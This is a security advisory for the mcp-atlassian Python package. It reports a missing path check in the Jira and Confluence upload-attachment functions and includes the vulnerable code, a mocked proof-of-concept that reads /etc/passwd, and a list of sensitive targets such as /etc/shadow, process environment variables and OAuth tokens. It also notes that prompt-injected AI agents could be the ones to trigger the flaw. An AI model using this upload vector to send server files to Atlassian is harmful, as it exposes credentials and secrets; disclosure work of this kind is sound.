PT-2026-105849 · Pypi · Mcp-Attlasian

Published

2026-10-01

·

Updated

2026-10-01

CVSS v3.1

6.5

Medium

VectorAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Summary

The upload attachment functions in both the Jira and Confluence modules accept a user-controlled file path parameter and open the specified file for reading without calling validate safe path(). An authenticated MCP client can supply an arbitrary path such as /etc/passwd or /proc/self/environ, causing the server process to read and transmit the file's contents to the remote Atlassian instance as an attachment.
This is an incomplete fix relative to GHSA-xjgw-4wvw-rgm4: the download attachment and download issue attachments paths were hardened with validate safe path(), but the upload direction was left unguarded in both the Jira and Confluence modules.

Details

Affected functions:
FileFunctionLine
src/mcp atlassian/jira/attachments.pyupload attachment()~372–415
src/mcp atlassian/confluence/attachments.pyupload attachment()~62–108
src/mcp atlassian/confluence/attachments.py upload attachment direct()~476–477
Jira — vulnerable code path (jira/attachments.py):
python
def upload attachment(self, issue key: str, file path: str) -> dict:
  ...
  if not os.path.isabs(file path):
    file path = os.path.abspath(file path)  # resolves relative paths

  if not os.path.exists(file path):       # confirms file exists
    ...

  # ⚠ validate safe path() is NEVER called here
  filename = os.path.basename(file path)
  with open(file path, "rb") as file:      # arbitrary file opened
    attachment = self.jira.add attachment(
      issue key=issue key, filename=file path
    )
Compare with the protected download path in the same file:
python
def download attachment(self, url: str, target path: str) -> bool:
  ...
  validate safe path(target path)  #  upload has no equivalent
Confluence — vulnerable code path (confluence/attachments.py):
python
def upload attachment(self, content id, file path, ...):
  ...
  if not os.path.isabs(file path):
    file path = os.path.abspath(file path)

  # ⚠ validate safe path() is NEVER called
  filename = os.path.basename(file path)
  attachment = self. upload attachment direct(
    content id, file path, filename, comment, minor edit
  )

# Inside upload attachment direct():
files = {"file": (filename, open(file path, "rb"))} # ← arbitrary file opened

PoC

Tested against commit d8bc786 (v0.21.1, latest main). No real Atlassian credentials required — the API call is stubbed.
Jira PoC (poc 001 jira path traversal.py):
python
import sys, os, types
from unittest.mock import MagicMock

sys.path.insert(0, "src")

def make pkg(name):
  m = types.ModuleType(name); m. path  = []; sys.modules[name] = m; return m

atlassian pkg = make pkg("atlassian")
atlassian jira = make pkg("atlassian.jira")
atlassian pkg.jira = atlassian jira
atlassian jira.Jira = type("Jira", (), {
  " init ": lambda s, *a, **k: None,
  " session": MagicMock()
})
atlassian pkg.Jira = atlassian jira.Jira
keyring = make pkg("keyring")
keyring.get password = keyring.set password = lambda *a, **k: None

from mcp atlassian.jira.attachments import AttachmentsMixin
from mcp atlassian.jira.config import JiraConfig

config = JiraConfig(url="https://test.atlassian.net", auth type="basic",
          username="x", api token="x")

class FakeFetcher(AttachmentsMixin):
  def  init (self):
    self.config = config
    self.jira  = MagicMock()
    self.jira.add attachment.return value = {"id": "99", "filename": "passwd"}

result = FakeFetcher().upload attachment(issue key="TEST-1", file path="/etc/passwd")
print(result)
Observed output — Jira (Kali Linux, v0.21.1):
image
[*] Target file : /etc/passwd
[*] Calling   : AttachmentsMixin.upload attachment()

[*] Return value: {'success': True, 'issue key': 'TEST-1', 'filename': 'passwd', 'size': 3388, 'id': '99'}
[*] Files opened: ['/etc/passwd']

[!!!] VULNERABLE — file opened with no path validation
   add attachment call args: call(issue key='TEST-1', filename='/etc/passwd')
Observed output — Confluence (Kali Linux, v0.21.1):
image
[*] Target file : /etc/passwd
[*] Calling   : ConfluenceAttachmentsMixin.upload attachment()

[*] Return value: {'success': True, 'content id': '123456', 'filename': 'passwd', 'size': 3388, 'id': 'att-99'}
[*] Files opened: ['/etc/passwd']

[!!!] VULNERABLE — /etc/passwd opened without validate safe path()
   upload attachment() → upload attachment direct() → open(file path)
   download attachment() in same file IS protected — asymmetric fix
Key evidence:
  • success: True — no exception raised, no path validation triggered
  • size: 3388 — /etc/passwd was opened and read by os.path.getsize()
  • Both modules affected independently — neither Jira nor Confluence has an upload-side guard
In a live deployment, the file content is streamed directly to the Atlassian API and stored as a visible attachment on the issue or page.

Impact

Any authenticated MCP client — including a compromised AI agent, a prompt-injected session, or a malicious plugin — can read and exfiltrate arbitrary files readable by the server process:
  • /etc/shadow — system password hashes
  • /proc/self/environ — process environment variables (API keys, secrets)
  • ~/.mcp-atlassian/oauth-*.json — stored OAuth refresh tokens
  • SSH private keys, TLS certificates, application configuration files
No special privileges beyond standard MCP tool access are required. The vulnerability affects both HTTP-mode (multi-user) and stdio-mode (local) deployments. Both the jira upload attachment and confluence upload attachment MCP tools are affected.
Root cause: The validate safe path() utility introduced in GHSA-xjgw-4wvw-rgm4 was applied only to download operations. The upload path in both modules was never patched, leaving a symmetric file-read vector open.

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾

Related Identifiers

PYSEC-2026-4097

Affected Products

Mcp-Attlasian